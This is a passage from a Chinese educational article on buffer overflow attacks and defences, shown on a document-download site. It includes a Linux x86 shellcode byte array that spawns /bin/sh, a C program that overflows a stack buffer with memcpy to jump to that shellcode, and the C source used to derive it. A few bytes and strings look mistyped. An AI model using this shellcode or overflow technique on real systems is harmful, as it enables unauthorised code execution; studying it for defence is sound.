手机版

缓冲区溢出攻击的分析及防范策略(5)

发布时间:2021-06-05   来源:未知    
字号:

网络 电子商务 编程

―\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80‖

―\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xdl\xff\xff‖

―\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3‖};

void f(char *src)

{

char dest[4];

memcpy(dest,src,12);

}

void main()

{

int shellentry[3];

shellentry[0]=(int)shellcode;

shellentry[1]=(int)shellcode;

shellentry[2]=(int)shellcode;

f(shellentry);

}

由以上程序可以看出缓冲区溢出攻击的关键:因为memcpy并不检验边界,所以dest溢出时,使shellcode的地址覆盖了子程序的返回地址,当子程序执行ret指令时,CPU的指令指针寄存器EIP指向shellcode,从而执行shellcode。

这里讨论一个现实中的Unix环境下,利用缓冲区溢出的到一个Shell的行攻击方法的实现。其中,S代表Shellcode,A代表填写的返回地址,由于Shellcode在虚地址的高端,所以这个返回地址(32bit)一般不会含有零字节:

(1) 启动一个一个Shell的代码——Shellcode的获得

通常的获得方法是先用高级语言编写同样功能的程序,然后用调试工具抽取必须的二进制代码。高级语言程序如下:

shellcode.c

#include<stdio.h>

void main()

{

char *name[2];

name[0]=‖bin/sh‖;

name[1]=NULL;

execve(name[0],name,NULL);

exit(0);

}

把上述程序编译之后,可以用gdb得到上面程序的汇编代码及二进制代码,适当优化后即可得到二进制的Shellcode。

这里要解决的一个问题是,无论Shellcode被装置到内存的什么位置,字符串―/bin/sh‖的地址都可以得到。解决方法是在―/bin/sh‖之前加一条CALL指令,这样当CALL被执行时,―/bin/sh‖的地址将被自动压入堆栈,紧接着用一条popl指令即可获得这个地址。

Shellcode的结构如下:(J代表JMP指令,C代表CALL指令,S代表启动Shell的代码,s代表串―/bin/sh‖,A指向Shellcode的起始地址)。

SCO Unix下的Shellcode的汇编代码如下:

缓冲区溢出攻击的分析及防范策略(5).doc 将本文的Word文档下载到电脑,方便复制、编辑、收藏和打印
×
二维码
× 游客快捷下载通道(下载后可以自由复制和排版)
VIP包月下载
特价:29 元/月 原价:99元
低至 0.3 元/份 每月下载150
全站内容免费自由复制
VIP包月下载
特价:29 元/月 原价:99元
低至 0.3 元/份 每月下载150
全站内容免费自由复制
注:下载文档有可能出现无法下载或内容有问题,请联系客服协助您处理。
× 常见问题(客服时间:周一到周五 9:30-18:00)